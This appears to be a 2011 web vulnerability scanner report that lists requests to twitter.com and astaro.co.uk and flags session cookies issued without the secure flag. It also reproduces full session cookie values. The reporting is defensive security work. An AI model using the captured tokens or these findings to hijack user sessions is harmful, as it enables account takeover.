GET /about/contact HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:50 GMT Server: hi Status: 200 OK X-Transaction: 1296663830-25196-21351 ETag: "d1474b551eb390afd328672c866ae2cc" Last-Modified: Wed, 02 Feb 2011 16:23:50 GMT X-Runtime: 0.02612 Content-Type: text/html; charset=utf-8 Content-Length: 11005 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /about/resources HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-91912-42975 ETag: "82c647499a9c4824e9705c4ed7666576" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.04483 Content-Type: text/html; charset=utf-8 Content-Length: 12711 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /account/complete HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-39175-45772 ETag: "d87313621fe8eb4c3bb6e553b36a723c" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.01703 Content-Type: text/html; charset=utf-8 Content-Length: 9588 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /account/resend_password HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-47909-42577 ETag: "cd6bf1c92ed54f9dfd3bc7dbfa4eb250" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.01790 Content-Type: text/html; charset=utf-8 Content-Length: 9771 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /login HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-84839-37216 ETag: "f59b9932bf1f116993e288cd452bbeec" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.04626 Content-Type: text/html; charset=utf-8 Content-Length: 12742 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /privacy HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-44764-23640 ETag: "e419132d97dc15ec2ccd3b01ef855c92" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.03586 Content-Type: text/html; charset=utf-8 Content-Length: 18964 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /sessions/change_locale HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 404 Not Found Date: Wed, 02 Feb 2011 16:24:11 GMT Server: hi Status: 404 Not Found X-Transaction: 1296663851-55698-5858 Last-Modified: Wed, 02 Feb 2011 16:24:11 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9230 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /sessions/destroy HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 404 Not Found Date: Wed, 02 Feb 2011 16:24:11 GMT Server: hi Status: 404 Not Found X-Transaction: 1296663851-66867-49140 Last-Modified: Wed, 02 Feb 2011 16:24:11 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9230 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /signup HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-89200-7354 ETag: "ed0dc6e25fe910272a7490b6f79f8e91" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.06475 Content-Type: text/html; charset=utf-8 Content-Length: 39430 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tos HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-54210-41524 ETag: "811349ef198e540e50099738f656b516" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.04445 Content-Type: text/html; charset=utf-8 Content-Length: 30526 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The following cookie was issued by the application and does not have the secure flag set:
eZSESSIDeu=bv7eodcrp0t34v0n39i8932ve0; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /beacon/(beid HTTP/1.1 Host: www.astaro.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:30:22 GMT Server: Apache/2.2.3 (Red Hat) Set-Cookie: eZSESSIDeu=bv7eodcrp0t34v0n39i8932ve0; path=/ Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Tue, 01 Feb 2011 14:30:22 GMT X-Powered-By: eZ Publish Served-by: www.astaro.co.uk Content-language: en-GB Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-GB" lang="en-GB"> <head>
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookie was issued by the application and does not have the secure flag set:
eZSESSIDen=3arq6oafh8mmgccr289cup83h1; path=/
